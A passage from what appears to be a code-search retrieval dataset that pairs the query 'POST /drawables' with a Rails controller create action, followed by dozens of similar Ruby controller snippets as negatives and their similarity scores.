"def new\n @fundamental_resource_pool = Fundamental::ResourcePool.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @fundamental_resource_pool }\n end\n end",
"def new\n @compound = Compound.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @compound }\n end\n end"
] |
[
"0.66811454",
"0.65393215",
"0.6338831",
"0.62122405",
"0.5990946",
"0.58282304",
"0.57941514",
"0.5732265",
"0.57302177",
"0.5720544",
"0.57129544",
"0.56501657",
"0.5633856",
"0.56319046",
"0.5626325",
"0.56226295",
"0.56220925",
"0.5618016",
"0.5613935",
"0.5610757",
"0.5602528",
"0.5581434",
"0.5575719",
"0.55756897",
"0.5574149",
"0.557107",
"0.5570733",
"0.55679774",
"0.55669516",
"0.55473435",
"0.5543057",
"0.5542542",
"0.5538751",
"0.5531282",
"0.55286986",
"0.55243737",
"0.55243737",
"0.551274",
"0.55119425",
"0.5511672",
"0.55096257",
"0.5506497",
"0.5503874",
"0.54984725",
"0.54984725",
"0.54982513",
"0.5495243",
"0.5494966",
"0.54899406",
"0.5479067",
"0.546877",
"0.5466013",
"0.5464012",
"0.54605764",
"0.5450335",
"0.544334",
"0.5439006",
"0.5433672",
"0.54300445",
"0.54297525",
"0.5425759",
"0.5424646",
"0.5424646",
"0.54183364",
"0.54170203",
"0.54161555",
"0.541212",
"0.5410426",
"0.54080325",
"0.54042697",
"0.53934944",
"0.5391729",
"0.5391166",
"0.5391166",
"0.5388873",
"0.53862405",
"0.5384832",
"0.53838223",
"0.53753215",
"0.53753215",
"0.5374268",
"0.53725594",
"0.53725123",
"0.53640383",
"0.5360888",
"0.53592783",
"0.5359207",
"0.5355693",
"0.535549",
"0.5351311",
"0.5349373",
"0.5346502",
"0.5345938",
"0.534538",
"0.534538",
"0.53420943",
"0.53416055",
"0.53410816",
"0.5340818",
"0.5340515"
] |
0.680307
|
0
|
POST /drawables POST /drawables.json
|
def create
@drawable = Drawable.new(params[:drawable])
respond_to do |format|
if @drawable.save
format.html { redirect_to @drawable, notice: 'Drawable was successfully created.' }
format.json { render json: @drawable, status: :created, location: @drawable }
else
format.html { render action: "new" }
format.json { render json: @drawable.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def index\n @drawables = Drawable.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @drawables }\n end\n end",
"def drawing_params\n params.require(:drawing).permit(:name, :leds, :user_id, :leds => [])\n end",
"def create\n @drawing = Drawing.new(params[:drawing])\n\n if @drawing.save\n render json: @drawing, status: :created, location: @drawing\n else\n render json: @drawing.errors, status: :unprocessable_entity\n end\n end",
"def create\n @draw = Draw.new(draw_params)\n respond_to do |format|\n if @draw.save\n format.html { redirect_to @draw, notice: 'Draw was successfully created.' }\n format.json { render :show, status: :created, location: @draw }\n else\n format.html { render :new }\n format.json { render json: @draw.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @draw = Draw.new(params[:draw])\n\n respond_to do |format|\n if @draw.save\n format.html { redirect_to @draw, notice: 'Draw was successfully created.' }\n format.json { render json: @draw, status: :created, location: @draw }\n else\n format.html { render action: \"new\" }\n format.json { render json: @draw.errors, status: :unprocessable_entity }\n end\n end\n end",
"def destroy\n @drawable = Drawable.find(params[:id])\n @drawable.destroy\n\n respond_to do |format|\n format.html { redirect_to drawables_url }\n format.json { head :no_content }\n end\n end",
"def create\n @drawing = Drawing.new(drawing_params)\n\n respond_to do |format|\n if @drawing.save\n format.html { redirect_to @drawing, notice: 'Drawing was successfully created.' }\n format.json { render :show, status: :created, location: @drawing }\n else\n format.html { render :new }\n format.json { render json: @drawing.errors, status: :unprocessable_entity }\n end\n end\n end",
"def append_to(drawables, layer_type)\n drawables.each do |drawable|\n layer_with(layer_type).append(drawable)\n end\n end",
"def new\n @drawing = Drawing.new\n\n render json: @drawing\n end",
"def update\n @drawable = Drawable.find(params[:id])\n\n respond_to do |format|\n if @drawable.update_attributes(params[:drawable])\n format.html { redirect_to @drawable, notice: 'Drawable was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @drawable.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @drawable = Drawable.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @drawable }\n end\n end",
"def create\n floor_plan = FloorPlan.where(slug: params[:slug])[0]\n icon = Icon.create(\n icon_class: params[:icon][:icon],\n floor_plan_id: floor_plan.id,\n category: params[:icon][:category],\n device_type: params[:icon][:type]\n )\n icon.set_color\n if icon.save\n render json: icon\n end\n end",
"def create\n @structure_drawing = @sub_project.structure_drawings.build(structure_drawing_params)\n\n respond_to do |format|\n if @structure_drawing.save\n format.html { redirect_to project_sub_project_structure_drawings_path(@project, @sub_project), notice: 'Structure drawing was successfully created.' }\n format.json { render :show, status: :created, location: @structure_drawing }\n else\n format.html { render :new }\n format.json { render json: @structure_drawing.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @level = Level.new(params[:level])\n\n base64png = params[:level][:json]['backgroundUrl']\n filename = Digest::MD5.hexdigest(base64png) + \".png\"\n\n File.open(File.join('public','uploads','maps', filename), 'wb') do |f|\n f.write(Base64.decode64(base64png.sub('data:image/png;base64,','')))\n end\n\n @level.json[\"backgroundUrl\"] = \"/uploads/maps/#{filename}\"\n @level.creator = current_user\n\n respond_to do |format|\n if @level.save\n format.html { redirect_to(@level, :notice => 'Level was successfully created.') }\n format.json { render :json => @level, :status => :created, :location => @level }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @level.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def diaper_params\n params.permit(:child_id, :texture, :color, :image)\n end",
"def shade_params\n params.permit(:dairy_id, :name, :desc, :capacity, :active, :created_by)\n end",
"def create\n service_result = Organizers::BuildJoinTableObjects.call(graphic_params, 'graphic', :create)\n @graphic = service_result.main_object\n\n if service_result.failure?\n render json: {errors: errors_as_array_hash(service_result.message)}, status: :unprocessable_entity\n else\n render :show, status: :created, location: @graphic\n end\n end",
"def stroke_params\n params.require(:stroke).permit(:theta_id, :type_id, :shape_id, :pos)\n end",
"def create \n\t\ttimestamp = Time.now.to_s\n File.open(\"#{Rails.root}/public/uploads/drawing_#{timestamp}.png\", 'wb') do |f|\n f.write(params[:image].read)\n end\n drawing = Drawing.new\n drawing.drawing_img = \"/uploads/drawing_#{timestamp}.png\"\n drawing.word_id = params[:word_id]\n drawing.save\n render nothing: true\n\tend",
"def create\n @dice = Dice.new(dice_params)\n\n if @dice.save\n render json: @dice, status: :created, location: @dice\n else\n render json: @dice.errors, status: :unprocessable_entity\n end\n end",
"def create_graphics\n super\n draw_wanted_data\n end",
"def new\n @draw = Draw.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @draw }\n end\n end",
"def create\n @accessory = Accessory.new(params[:accessory])\n\n if @accessory.save\n render json: @accessory, status: :created, location: @accessory\n else\n render json: @accessory.errors, status: :unprocessable_entity\n end\n end",
"def index\n @draws = Draw.paginate(:page => params[:page], :per_page => 50)\n @winning_draws = Draw.where(:selection => \"WINNER\")\n @draw = Draw.new\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @draws }\n end\n end",
"def update\n respond_to do |format|\n if @draw.update(draw_params)\n format.html { redirect_to @draw, notice: 'Draw was successfully updated.' }\n format.json { render :show, status: :ok, location: @draw }\n else\n format.html { render :edit }\n format.json { render json: @draw.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @stroke = Stroke.new(stroke_params)\n\n respond_to do |format|\n if @stroke.save\n format.html { redirect_to @stroke, notice: 'Stroke was successfully created.' }\n format.json { render :show, status: :created, location: @stroke }\n else\n format.html { render :new }\n format.json { render json: @stroke.errors, status: :unprocessable_entity }\n end\n end\n end",
"def layer_params\n params.require(:layer).permit(:name, :category_id, :url, :params, :ckan_id, style: [:color])\n end",
"def graphic_params\n params.require(:graphic).permit(:id, :title, :script_content, :library, :icon, :load_from_file, :canvas_id, :fullscreen_by_default, :content_description, :basic_description, :extra_params, categories: %i(id name))\n end",
"def structure_drawing_params\n params.require(:structure_drawing).permit(:title, :description, :structure_type, attachments_attributes: [:attach_type, :attachment, :id, :_destroy])\n end",
"def create\n @blueprint = Blueprint.new(blueprint_params)\n\n respond_to do |format|\n if @blueprint.save\n format.html { redirect_to @blueprint, notice: 'Blueprint was successfully created.' }\n format.json { render :show, status: :created, location: @blueprint }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @blueprint.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @table = Table.new(params[:table].permit(:name, :notes, :x, :y, :table_type, :guest_ids => []))\n\n respond_to do |format|\n if @table.save\n format.html { redirect_to @table, notice: 'Table was successfully created.' }\n format.json { render 'tables/create', status: :created, location: @table }\n else\n format.html { render action: \"new\" }\n format.json { render json: @table.errors, status: :unprocessable_entity }\n end\n end\n end",
"def accessory_params\n params.require(:accessory).permit(:name, :weapon, :shield)\n end",
"def create\n @layer = Layer.new(params[:layer])\n\n respond_to do |format|\n if @layer and @layer.save\n @layers = Layer.all\n format.html { redirect_to layers_path, notice: 'Layer was successfully created.' }\n format.json { render json: {layers: @layers.map {|layer| {id: layer.id, name:layer.name, number_of_polygons: layer.areas.count}}} }\n else\n format.html { render action: \"new\" }\n format.json { render json: @layer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def draw_params\n params.require(:draw).permit(:email, :drawtype)\n end",
"def create\n @palette = Palette.new(palette_params)\n\n respond_to do |format|\n if @palette.save\n params[:palette][:colors].each do |value|\n @palette.colors.create(hex_value: value)\n end\n\n format.html { redirect_to @palette, notice: 'Palette was successfully created.' }\n format.json { render :show, status: :created, location: @palette }\n else\n default_palette_colors\n\n format.html { render :new }\n format.json { render json: @palette.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @attribute_layer = @palette.attribute_layers.new(attribute_layer_params)\n\n respond_to do |format|\n if @attribute_layer.save\n format.html { redirect_to [@palette, @attribute_layer], notice: 'Attribute layer was successfully created.' }\n format.json { render action: 'show', status: :created, location: @attribute_layer }\n else\n format.html { render action: 'new' }\n format.json { render json: @attribute_layer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n #debugger\n blog = blog_params[:name]\n @user = User.find(session[:user_id])\n\n params[:image][:attached_assets_attrs].each do |item|\n ImgGroup.post item[:asset], @user, blog\n end\n\n respond_to do |format|\n format.html { render action: 'done' }\n format.json { render text: 'All posted.', status: :created, location: @image }\n end\n end",
"def update\n @drawing = Drawing.find(params[:id])\n\n if @drawing.update_attributes(params[:drawing])\n head :no_content\n else\n render json: @drawing.errors, status: :unprocessable_entity\n end\n end",
"def update\n respond_to do |format|\n if @drawing.update(drawing_params)\n format.html { redirect_to @drawing, notice: 'Drawing was successfully updated.' }\n format.json { render :show, status: :ok, location: @drawing }\n else\n format.html { render :edit }\n format.json { render json: @drawing.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n dragon = params[:dragon]\n # mother and father attributes get sent from sproutcore in the form /rails/dragons/NN\n Dragon.reflect_on_all_associations(:belongs_to).each do |assoc|\n name = assoc.name\n attr_key = assoc.options[:foreign_key] || (name.to_s + \"_id\")\n dragon[attr_key.to_sym] = dragon[name.to_sym].sub(/.*\\//,'') if dragon[name.to_sym]\n dragon.delete(name.to_sym)\n end\n @dragon = Dragon.new(dragon)\n\n respond_to do |format|\n if @dragon.save\n format.html { redirect_to(@dragon, :notice => 'Dragon was successfully created.') }\n format.xml { render :xml => @dragon, :status => :created, :location => @dragon }\n format.json { render :json => custom_item_hash(@dragon), :status => :created, :location => @dragon }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @dragon.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @picture = Picture.new(picture_params)\n\n if @picture.save\n @picture.update(foodscape_id: params[:foodscape_id])\n render json: @picture, status: :created\n else\n render json: @picture.errors, status: :unprocessable_entity\n end\n end",
"def show\n @drawable = Drawable.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @drawable }\n end\n end",
"def create\n @budget = Budget.new(budget_params)\n @client = Client.new\n @clients = Client.all\n respond_to do |format|\n if @budget.save\n format.html { redirect_to @budget, notice: 'El presupuesto se creó correctamente' }\n format.json { render :show, status: :created, location: @budget }\n else\n format.html { render :new }\n format.json { render json: @budget.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @lucky_draw = LuckyDraw.new(lucky_draw_params)\n\n respond_to do |format|\n if @lucky_draw.save\n format.html { redirect_to lucky_draws_path }\n format.json { render :show, status: :created, location: @lucky_draw }\n else\n format.html { render :new }\n format.json { render json: @lucky_draw.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @drawer = Drawer.new(params[:drawer].permit(:label, :row, :column))\n\n respond_to do |wants|\n if @drawer.save\n flash[:notice] = 'Drawer was successfully created.'\n wants.html { redirect_to(\"/drawers/new\") }\n wants.xml { render :xml => @drawer, :status => :created, :location => @drawer }\n else\n wants.html { render :action => \"new\" }\n wants.xml { render :xml => @drawer.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def cow_shade_params\n params.permit(:cow_id, :shade_id, :active, :created_by, :deactivated_by)\n end",
"def dog_params\n params.require(:dog).permit(:name, :description, :owner_id, images: [])\n end",
"def update\n @image_section = ImageSection.find(params[:id])\n ci = @image_section.combined_image\n\n respond_to do |format|\n if @image_section.update_attribute(:sketchpad_json, params[:drawn_json])\n format.html { redirect_to edit_image_section_path(ci.image_sections.sample), \n notice: 'Image section was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @image_section.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @palette.update(palette_params)\n\n @palette.colors.destroy_all\n\n params[:palette][:colors].each do |value|\n @palette.colors.create(hex_value: value)\n end\n\n format.html { redirect_to @palette, notice: 'Palette was successfully updated.' }\n format.json { render :show, status: :ok, location: @palette }\n else\n format.html { render :edit }\n format.json { render json: @palette.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @drawings = Drawing.all\n end",
"def create\n @dog_poly = DogPoly.new(dog_poly_params)\n\n respond_to do |format|\n if @dog_poly.save\n format.html { redirect_to @dog_poly, notice: 'Dog poly was successfully created.' }\n format.json { render :show, status: :created, location: @dog_poly }\n else\n format.html { render :new }\n format.json { render json: @dog_poly.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @taggable = current_user.taggables.new(params[:taggable], :user_id => current_user.id)\n \n respond_to do |format|\n if @taggable.save\n # if the DB commit was successful then try to tag faces.\n logger.debug(@taggable.photo.path)\n faceArray = findFaces(@taggable.photo.path(:editable))\n \n faceArray.each do |rect|\n @tag = @taggable.tags.new(:upperLeftX => rect[0],\n :upperLeftY => rect[1],\n :lowerRightX => rect[2],\n :lowerRightY => rect[3],\n :person => \"Random Person\")\n @tag.save\n end\n\n format.html { redirect_to \"/tagging/#{@taggable.id}\", notice: 'Taggable was successfully created.' }\n format.json { render json: @taggable, status: :created, location: @taggable }\n else\n format.html { render action: \"new\" }\n format.json { render json: @taggable.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show\n @drawing = Drawing.find(params[:id])\n\n render json: @drawing\n end",
"def create\n @apertura_billete = AperturaBillete.new(apertura_billete_params)\n\n respond_to do |format|\n if @apertura_billete.save\n format.html { redirect_to @apertura_billete, notice: 'Apertura billete was successfully created.' }\n format.json { render :show, status: :created, location: @apertura_billete }\n else\n format.html { render :new }\n format.json { render json: @apertura_billete.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @painting.artwork.attach(params[:painting][:artwork])\n @profile = Profile.new \n @profile.id = current_user.profile.id #current_user = device and need to sign in\n @profile.save\n @painting.profile_id = @profile.id\n\n respond_to do |format|\n if @painting.save\n format.html { redirect_to @painting, notice: 'Painting was successfully created.' }\n format.json { render :show, status: :created, location: @painting }\n else\n format.html { render :new }\n format.json { render json: @painting.errors, status: :unprocessable_entity }\n end\n end\n end",
"def pix_params\n params.require(:pix).permit(:character_id, :scenario_id, :msg, images: [])\n end",
"def create\n @screw = Screw.new(params[:screw].permit(:size, :length, :threading, :drawer_ids, :drawers, :barcode))\n @screw.drawer_ids = params[:screw][:drawer_ids]\n @screw.save\n\n respond_to do |wants|\n if @screw.save\n flash[:notice] = 'Screw was successfully created.'\n wants.html { redirect_to(@screw) }\n wants.xml { render :xml => @screw, :status => :created, :location => @screw }\n else\n wants.html { render :action => \"new\" }\n wants.xml { render :xml => @screw.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def shape\n=begin\n\t\tgeometries = Rails.cache.fetch(MEMORY_CACHE_KEY_SHAPE.gsub(\"[shape_id]\", params[:id])\n\t\t\t\t.gsub(\"[locale]\", I18n.locale.to_s)\n\t\t\t\t.gsub(\"[shape_type_id]\", params[:shape_type_id])) {\n\t\t\tShape.build_json(params[:id], params[:shape_type_id]).to_json\n\t\t}\n=end\n\t\tkey = FILE_CACHE_KEY_SHAPE.gsub(\"[shape_id]\", params[:id])\n\t\t\t.gsub(\"[locale]\", I18n.locale.to_s)\n\t\t\t.gsub(\"[shape_type_id]\", params[:shape_type_id])\n\t\tgeometries = JsonCache.fetch_shape(key) {\n \t\tShape.build_json(params[:id], params[:shape_type_id]).to_json\n\t\t}\n\n respond_to do |format|\n format.json { render json: geometries }\n end\n end",
"def create\n @internaldraw = Internaldraw.new(params[:internaldraw])\n\n respond_to do |format|\n if @internaldraw.save\n format.html { redirect_to(@internaldraw, :notice => 'Internaldraw was successfully created.') }\n format.xml { render :xml => @internaldraw, :status => :created, :location => @internaldraw }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @internaldraw.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def sector_params\n params.require(:sector).permit(:name, :description, :icon, :color)\n end",
"def destroy\n @draw.destroy\n respond_to do |format|\n format.html { redirect_to draws_url, notice: 'Draw was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def blend_params\n params.require(:blend).permit(:name, spices: [:id, :description, :name, :img_URL, :created_at, :updated_at, :flavor])\n end",
"def create\n @skin_diet = SkinDiet.new(skin_diet_params)\n\n respond_to do |format|\n if @skin_diet.save\n format.html { redirect_to @skin_diet, notice: 'Skin diet was successfully created.' }\n format.json { render :show, status: :created, location: @skin_diet }\n else\n format.html { render :new }\n format.json { render json: @skin_diet.errors, status: :unprocessable_entity }\n end\n end\n end",
"def destroy\n @draw = Draw.find(params[:id])\n @draw.destroy\n\n respond_to do |format|\n format.html { redirect_to draws_url }\n format.json { head :no_content }\n end\n end",
"def update\n @draw = Draw.find(params[:id])\n\n respond_to do |format|\n if @draw.update_attributes(params[:draw])\n format.html { redirect_to @draw, notice: 'Draw was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @draw.errors, status: :unprocessable_entity }\n end\n end\n end",
"def attribute_layer_params\n params.require(:attribute_layer).permit(:label, :palette_id)\n end",
"def create\n render json: Dish.create(dish_params)\n end",
"def draw\n @deck = Deck.find(params[:id])\n drawed_cards = @deck.draw_five_cards\n render json: {\n cards: drawed_cards,\n deck_id: @deck.id,\n remaining: @deck.card_codes.count\n }\n end",
"def attribute_params\n params.require(:attribute).permit(:size, :color)\n end",
"def style_params\n params.require(:style).permit(:name, :description, :image1, :image2, :image3, :image4, :poster_id, :stylist_id, :crop_x, :crop_y, :crop_h, :crop_w, :total_votes, :phone, :stylist_name, :tag, :position)\n end",
"def create\n @layerIn = JSON.parse(params.to_json)\n @layer = Hash.new\n #@ru = request.original_url\n @ru = request.original_url.split('?').first\n @ru += '/' if !@ru.end_with? '/'\n @layer['layer_id'] = @ru + SecureRandom.uuid\n @layer['layer_type'] = @layerIn['@type']\n @layer['label'] = @layerIn['label']\n @layer['motivation'] = @layerIn['motivation']\n #@layer['description'] = @layerIn['description']\n @layer['license'] = @layerIn['license']\n @layer['version'] = 1\n @annotation_layer = AnnotationLayer.new(@layer)\n\n #authorize! :create, @annotation_layer\n request.format = \"json\"\n respond_to do |format|\n if @annotation_layer.save\n format.html { redirect_to @annotation_layer, notice: 'Annotation layer was successfully created.' }\n format.json { render json: @annotation_layer.to_iiif, status: :created, location: @annotation_layer, content_type: \"application/json\" }\n else\n format.html { render action: \"new\" }\n format.json { render json: @annotation_layer.errors, status: :unprocessable_entity, content_type: \"application/json\" }\n end\n end\n end",
"def post_drawing_object(request)\n data, _status_code, _headers = post_drawing_object_with_http_info(request)\n request_token if _status_code == 401\n data\n end",
"def api_v1_canvas_params\n params.permit(:name, :diagram_id)\n end",
"def draw\n @status_buttons.each do |i|\n i.draw\n end\n end",
"def create\n @idea = current_member.ideas.new(idea_params) \n respond_to do |format|\n sectors_params.delete(\"\")\n if @idea.save\n sectors_params.each do |k|\n @idea.sectors << Sector.find_by(id:k)\n end\n format.json { head :no_content }\n format.js\n else\n\n format.json { render :json => { :error => @idea.errors.full_messages }, :status => 422 }\n end\n \n end\n end",
"def bin_params\n params.require(:bin).permit(:name, :city_id, :red, :green, :blue, :alpha)\n end",
"def flake_params\n params.require(:flake).permit(:shape)\n end",
"def recipe_params\n params.require(:recipe).permit(:name, :summary, :description, :picture, style_ids: [], ingredient_ids: [])\n end",
"def datatables_editor_cud\n\t\tjson_data = MatchCategory.datatables_editor_cud(request.POST[:action], params[:data].to_a)\n\t\trespond_to do |format|\n\t\t\tformat.json { render json: json_data }\n\t\tend\n\tend",
"def create\n @shot = Shot.new(shot_params)\n\n if @shot.save\n render json: @shot, status: :created, location: @shot\n else\n render json: @shot.errors, status: :unprocessable_entity\n end\n end",
"def swatch_params\n params.require(:swatch).permit(:name, :bump_map, :base_height, :displacement, :height, :width, :depth, :stl, :thumbnail, :layer_id, :is_dynamic)\n end",
"def create\n @location = Location.new(location_params)\n\n respond_to do |format|\n if @location.save\n \n if params[:avatars]\n #===== The magic is here ;)\n params[:avatars].each { |avatar|\n @location.assets.create(avatar: avatar)\n }\n end\n\n format.html { redirect_to @location, notice: 'Gallery was successfully created.' }\n format.json { render json: @location, status: :created, location: @location }\n else\n format.html { render action: \"new\" }\n format.json { render json: @location.errors, status: :unprocessable_entity }\n end\n end\nend",
"def collection_of_sprites args\n sprites_collection = [\n [\n [400, 0, 50, 50, 'sprites/ship.png'],\n [400, 100, 50, 50, 'sprites/ship.png'],\n ],\n [400, 200, 50, 50, 'sprites/ship.png']\n ]\n\n args.outputs.sprites << sprites_collection\n\n args.outputs.solids << [\n [500, 0, 50, 50, 'sprites/ship.png'],\n [500, 100, 50, 50, 'sprites/ship.png'],\n [[[500, 200, 50, 50, 'sprites/ship.png']]]\n ]\n\n args.outputs.borders << [\n [\n [600, 0, 50, 50, 'sprites/ship.png'],\n [600, 100, 50, 50, 'sprites/ship.png'],\n ],\n [600, 200, 50, 50, 'sprites/ship.png']\n ]\nend",
"def palette_params\n params.require(:palette).permit(:image)\n end",
"def create\n @image_attrib = ImageAttrib.new(image_attrib_params)\n\n if @image_attrib.save\n render :show, status: :created, location: @image_attrib\n else\n render json: @image_attrib.errors, status: :unprocessable_entity\n end\n end",
"def create\n @line = Line.new(params[:line])\n @line.budget_id = params[:budget_id]\n @budget = @line.budget\n\n respond_to do |format|\n if @line.save\n format.html { redirect_to budget_path(@budget), notice: 'Line was successfully created.' }\n format.json { render json: @line, status: :created, location: @line }\n else\n format.html { render action: \"new\" }\n format.json { render json: @line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def product_params\n params.require(:product).permit(\n :name,\n :description,\n :photo_url,\n :price,\n :brand_id,\n :direct_link,\n :application,\n :no_of_shades,\n :product_type,\n :shades_group,\n :multiple_colors,\n :short_type,\n shades_attributes: [\n :id,\n :name,\n :finish,\n :product_id,\n :color_id,\n :hex_color,\n :position,\n :_destroy,\n :h,\n :s,\n :l,\n :colors_array\n ]\n )\n end",
"def create\n respond_to do |format|\n require 'rest-client'\n response = RestClient.post('localhost:3001/colores/', color_params.as_json, {:Authorization => 'admin irizREhyoG6Ejwr4AcjsQME9'})\n if response.code == 200\n @color = JSON.parse(response.body)\n format.html { redirect_to @color, notice: \"Color was successfully created.\" }\n format.json { render :show, status: :created, location: @color }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @color.errors, status: :unprocessable_entity }\n end\n end\n end",
"def draw\n draw_background\n draw_ambient\n draw_objects\n draw_ui\n end",
"def border_params\n params.require(:border).permit(:province_id, :neighbor_id, :defense)\n end",
"def create\n @accessory = Accessory.new(accessory_params)\n\n respond_to do |format|\n if @accessory.save\n format.html { redirect_to @accessory, notice: 'Accessory was successfully created.' }\n format.json { render :show, status: :created, location: @accessory }\n else\n format.html { render :new }\n format.json { render json: @accessory.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @screenshot = Screenshot.new(params[:screenshot])\n #@screenshot.sizes.build(params[:sizes_attributes][0])\n\n respond_to do |format|\n if @screenshot.save\n Resque.enqueue(Screenshot, @screenshot.id)\n format.html { redirect_to screenshot_path(@screenshot,\n :token => @screenshot.token, \n :email => @screenshot.email), notice: 'Screenshot was queued up for delivery.' }\n format.json { render json: @screenshot, status: :created, location: @screenshot }\n else\n format.html { render action: \"new\" }\n format.json { render json: @screenshot.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @client_accessory = ClientAccessory.new(client_accessory_params)\n\n respond_to do |format|\n if @client_accessory.save\n format.html { redirect_to @client_accessory, notice: 'Client accessory was successfully created.' }\n format.json { render :show, status: :created, location: @client_accessory }\n else\n format.html { render :new }\n format.json { render json: @client_accessory.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @mouth_shape = MouthShape.new(mouth_shape_params)\n\n respond_to do |format|\n if @mouth_shape.save\n format.html { redirect_to @mouth_shape, notice: 'La Forma de Boca ha sido creada exitosamente.' }\n format.json { render :show, status: :created, location: @mouth_shape }\n else\n flash[:danger] = \"No se ha podido Procesar la Operacion\"\n format.html { render :new }\n format.json { render json: @mouth_shape.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n source_ontology = LinkedData::Client::Models::Ontology.find_by_acronym(params[:map_from_bioportal_ontology_id]).first\n target_ontology = LinkedData::Client::Models::Ontology.find_by_acronym(params[:map_to_bioportal_ontology_id]).first\n source = source_ontology.explore.single_class(params[:map_from_bioportal_full_id])\n target = target_ontology.explore.single_class(params[:map_to_bioportal_full_id])\n values = {\n classes: {\n source.id => source_ontology.id,\n target.id => target_ontology.id\n },\n creator: session[:user].id,\n relation: params[:mapping_relation],\n comment: params[:mapping_comment]\n }\n @mapping = LinkedData::Client::Models::Mapping.new(values: values)\n @mapping_saved = @mapping.save\n if @mapping_saved.errors\n raise Exception, @mapping_saved.errors\n else\n @delete_mapping_permission = check_delete_mapping_permission(@mapping_saved)\n render json: @mapping_saved\n end\n end",
"def create\n\n @drawing = Drawing.new(form_params)\n @drawing.picture = PictureAttachmentHelper.convert_data_uri_to_upload(params[\"picture\"])\n @drawing.save\n redirect_to root_path\n end",
"def create\n @budget_line = BudgetLine.new(budget_line_params)\n\n respond_to do |format|\n if @budget_line.save\n format.html { redirect_to @budget_line, notice: 'Budget line was successfully created.' }\n format.json { render :show, status: :created, location: @budget_line }\n else\n format.html { render :new }\n format.json { render json: @budget_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n tournament = Tournament.find(params[:tournament_id])\n @registration = Registration.new(tournament:tournament)\n tournament.draws.order('draws.is_single DESC, draws.title').each do |draw|\n @registration.draw_registrations.build(draw_id: draw.id)\n end\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @registration }\n end\n end",
"def create\n @unlockable = Unlockable.new(unlockable_params)\n\n respond_to do |format|\n if @unlockable.save\n format.html { redirect_to @unlockable, notice: 'Unlockable was successfully created.' }\n format.json { render json: custom_item_hash(@unlockable), status: :created, location: @unlockable }\n else\n format.html { render action: \"new\" }\n format.json { render json: @unlockable.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @pizza = Pizza.new(pizza_params)\n respond_to do |format|\n if @pizza.save\n format.html { redirect_to @pizza, notice: 'Pizza was successfully created.' }\n format.json { render :show, status: :created, location: @pizza }\n else\n format.html { render :new }\n format.json { render json: @pizza.errors, status: :unprocessable_entity }\n end\n end\n params[:pizza][:topping_ids].each do |topping|\n @pizza.relationships.create(topping_id: topping)\n end\n Image.create(picture: params[:pizza][:picture])\n @pizza.image_relationships.create(image_id: Image.last.id)\n end"
] |
[
"0.6536369",
"0.5879714",
"0.57173353",
"0.56031364",
"0.55733466",
"0.55604565",
"0.5257709",
"0.51588225",
"0.5120784",
"0.4947977",
"0.49430686",
"0.48951083",
"0.48821902",
"0.48548877",
"0.48295486",
"0.48210588",
"0.47879502",
"0.4786748",
"0.478391",
"0.47566026",
"0.47511676",
"0.47458968",
"0.47422826",
"0.47339448",
"0.47299257",
"0.47060016",
"0.46963853",
"0.46945953",
"0.46935228",
"0.4687653",
"0.46868038",
"0.4671602",
"0.46671817",
"0.46590537",
"0.46562237",
"0.46465352",
"0.4646298",
"0.4630261",
"0.46292385",
"0.46208313",
"0.46079808",
"0.45964417",
"0.45953843",
"0.45809183",
"0.4580388",
"0.45594528",
"0.45575806",
"0.45501107",
"0.45488274",
"0.45387155",
"0.45312175",
"0.45307425",
"0.45285705",
"0.45206755",
"0.45123875",
"0.4511795",
"0.45001766",
"0.44983518",
"0.4496205",
"0.44924182",
"0.44838107",
"0.44826642",
"0.44816726",
"0.44787517",
"0.44757107",
"0.44741988",
"0.44726363",
"0.4469405",
"0.44631913",
"0.44624892",
"0.44614863",
"0.44579422",
"0.44557226",
"0.44542393",
"0.44536948",
"0.4451456",
"0.44488066",
